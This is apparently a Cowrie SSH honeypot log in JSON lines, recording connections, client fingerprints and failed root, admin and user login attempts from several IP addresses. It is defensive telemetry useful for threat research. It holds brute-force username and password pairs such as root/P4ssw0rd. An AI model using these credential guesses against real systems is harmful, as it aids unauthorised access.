{"eventid":"cowrie.login.failed","username":"admin","password":"Server2019","message":"login attempt [admin/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:31.092842Z","src_ip":"81.91.233.66","session":"f85fe3a14550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:31.579517Z","src_ip":"81.91.233.66","session":"f85fe3a14550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60259,"dst_ip":"10.17.0.5","dst_port":22,"session":"cca686839cfb","protocol":"ssh","message":"New connection: 81.91.233.66:60259 (10.17.0.5:22) [session: cca686839cfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:31.842409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:31.848939Z","src_ip":"81.91.233.66","session":"cca686839cfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:32.095902Z","src_ip":"81.91.233.66","session":"cca686839cfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Server2019","message":"login attempt [user/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:33.121205Z","src_ip":"81.91.233.66","session":"cca686839cfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:33.598025Z","src_ip":"81.91.233.66","session":"cca686839cfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60386,"dst_ip":"10.17.0.5","dst_port":22,"session":"db029aba5318","protocol":"ssh","message":"New connection: 81.91.233.66:60386 (10.17.0.5:22) [session: db029aba5318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:33.874979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:33.878294Z","src_ip":"81.91.233.66","session":"db029aba5318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":46414,"dst_ip":"10.17.0.5","dst_port":22,"session":"2344a4f0a939","protocol":"ssh","message":"New connection: 2.57.122.209:46414 (10.17.0.5:22) [session: 2344a4f0a939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:33.903759Z"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:34.134523Z","src_ip":"81.91.233.66","session":"db029aba5318","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:34.457105Z","src_ip":"2.57.122.209","session":"2344a4f0a939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:34.459736Z","src_ip":"2.57.122.209","session":"2344a4f0a939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"Server2019","message":"login attempt [user2/Server2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:35.193138Z","src_ip":"81.91.233.66","session":"db029aba5318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:35.676110Z","src_ip":"81.91.233.66","session":"db029aba5318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60494,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ca142071721","protocol":"ssh","message":"New connection: 81.91.233.66:60494 (10.17.0.5:22) [session: 6ca142071721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:35.939397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:35.943427Z","src_ip":"81.91.233.66","session":"6ca142071721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":33104,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba19ae38f165","protocol":"ssh","message":"New connection: 139.19.117.129:33104 (159.203.135.109:22) [session: ba19ae38f165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.042731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.046530Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.092744Z","src_ip":"8.210.75.243","session":"bece2e7bb064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.137326Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.196273Z","src_ip":"81.91.233.66","session":"6ca142071721","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.328938Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.331624Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.425893Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:47:1e:8f:5a:18:fc:8e:35:0a:51:cc:7d:b4:06:61","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:36.428733Z","src_ip":"139.19.117.129","session":"ba19ae38f165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2021","message":"login attempt [root/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:37.240093Z","src_ip":"81.91.233.66","session":"6ca142071721","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:37.723844Z","src_ip":"81.91.233.66","session":"6ca142071721","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60608,"dst_ip":"10.17.0.5","dst_port":22,"session":"589f5696dc12","protocol":"ssh","message":"New connection: 81.91.233.66:60608 (10.17.0.5:22) [session: 589f5696dc12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:37.978979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:37.982126Z","src_ip":"81.91.233.66","session":"589f5696dc12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"742ee33575d0ff88acd63dcc5529bb46","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 742ee33575d0ff88acd63dcc5529bb46","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:38.228370Z","src_ip":"81.91.233.66","session":"589f5696dc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":32878,"dst_ip":"10.17.0.5","dst_port":22,"session":"511fc49bfb45","protocol":"ssh","message":"New connection: 8.210.75.243:32878 (10.17.0.5:22) [session: 511fc49bfb45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:38.714597Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Server2021","message":"login attempt [admin/Server2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:39.392542Z","src_ip":"81.91.233.66","session":"589f5696dc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.67.46.203","src_port":41644,"dst_ip":"10.17.0.5","dst_port":22,"session":"466fc4ece111","protocol":"ssh","message":"New connection: 152.67.46.203:41644 (10.17.0.5:22) [session: 466fc4ece111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:39.612003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:39.615441Z","src_ip":"152.67.46.203","session":"466fc4ece111","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P4ssw0rd","message":"login attempt [root/P4ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:39.719288Z","src_ip":"2.57.122.209","session":"2344a4f0a939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:39.727839Z","src_ip":"152.67.46.203","session":"466fc4ece111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:39.883985Z","src_ip":"81.91.233.66","session":"589f5696dc12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.91.233.66","src_port":60736,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90f083d5d18","protocol":"ssh","message":"New connection: 81.91.233.66:60736 (10.17.0.5:22) [session: d90f083d5d18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:40.155854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.5","message":"Remote SSH version: SSH-2.0-libssh_0.9.5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:40.159349Z","src_ip":"81.91.233.66","session":"d90f083d5d18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root=1234","message":"login attempt [root/Root=1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:27:40.211543Z","src_ip":"152.67.46.203","session":"466fc4ece111","protocol":"ssh"}
